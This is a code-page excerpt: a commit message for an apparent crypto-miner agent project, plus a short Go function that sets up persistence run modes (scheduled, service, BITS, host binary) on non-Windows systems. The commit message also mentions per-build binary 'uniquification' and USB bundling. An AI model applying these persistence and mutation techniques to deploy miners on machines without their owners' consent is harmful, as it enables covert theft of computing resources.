- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
13 lines
340 B
Go
13 lines
340 B
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import "crypto-miner-agent/config"
|
|
|
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
|
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" {
|
|
return configureRunMode(cfg, installedBin)
|
|
}
|
|
return nil
|
|
}
|